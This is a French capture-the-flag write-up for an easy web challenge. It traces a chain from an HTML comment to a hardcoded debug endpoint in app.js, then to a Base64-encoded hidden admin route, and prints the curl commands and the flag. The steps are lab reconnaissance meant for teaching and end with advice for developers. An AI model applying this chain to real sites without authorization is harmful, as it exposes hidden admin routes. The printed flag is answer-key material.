ECOWAS CTF 2026 — Hidden User Management [Web/100pts]
CTF : ECOWAS CTF 2026 · Catégorie : Web · Difficulté : ⭐ (Easy) · Points : 100
← Retour à l’index du CTF
Description
Un panneau de gestion utilisateur. Quelque chose est resté en production qu’il n’aurait pas dû y être.
Analyse
Chaîne d’exploitation :
- Source HTML → commentaire → référence à un fichier JavaScript
- JS → endpoint de debug hardcodé
- Endpoint de debug → chemin encodé en Base64
- Route cachée → flag
Solution
Étape 1 — Lire le source HTML
Via le navigateur :
- Clic droit sur la page →
View Page Source(ouCtrl+U) - Chercher
<!--et.jspour trouver les commentaires et scripts
Via curl :
curl http://challenge-url/ | grep -E "<!--|\\.js" Via Burp Suite :
- Intercepter la réponse HTTP dans
HTTP History - Dans le volet Response, faire
Ctrl+Fpour chercher “js” ou “debug”
Commentaire trouvé :
<!-- Debug: voir /static/app.js --> Étape 2 — Analyser app.js
curl http://challenge-url/static/app.js Contenu :
const debugEndpoint = '/api/secret'; // TODO: Supprimer avant la mise en prod Étape 3 — Appeler l’endpoint de debug
curl http://challenge-url/api/secret Réponse :
{"data": "YWRtaW4tcGFuZWw="} Étape 4 — Décoder et accéder
echo "YWRtaW4tcGFuZWw=" | base64 -d # → admin-panel curl http://challenge-url/admin-panel # → {"flag": "EcowasCTF{st@ge_m@ster!!}"} Flag
EcowasCTF{st@ge_m@ster!!} Leçons retenues
- Toujours lire le source HTML ET les fichiers JS référencés — les devs oublient d’enlever les endpoints de debug
- Les données encodées en Base64 dans les réponses API cachent souvent des routes ou des tokens
- Méthodologie : Source → JS → Endpoints → Accès
- Pour les devs : ne jamais laisser des
debugEndpointen production, utiliser des variables d’environnement
Cet article est sous licence CC BY 4.0 par t3chw1z4rd.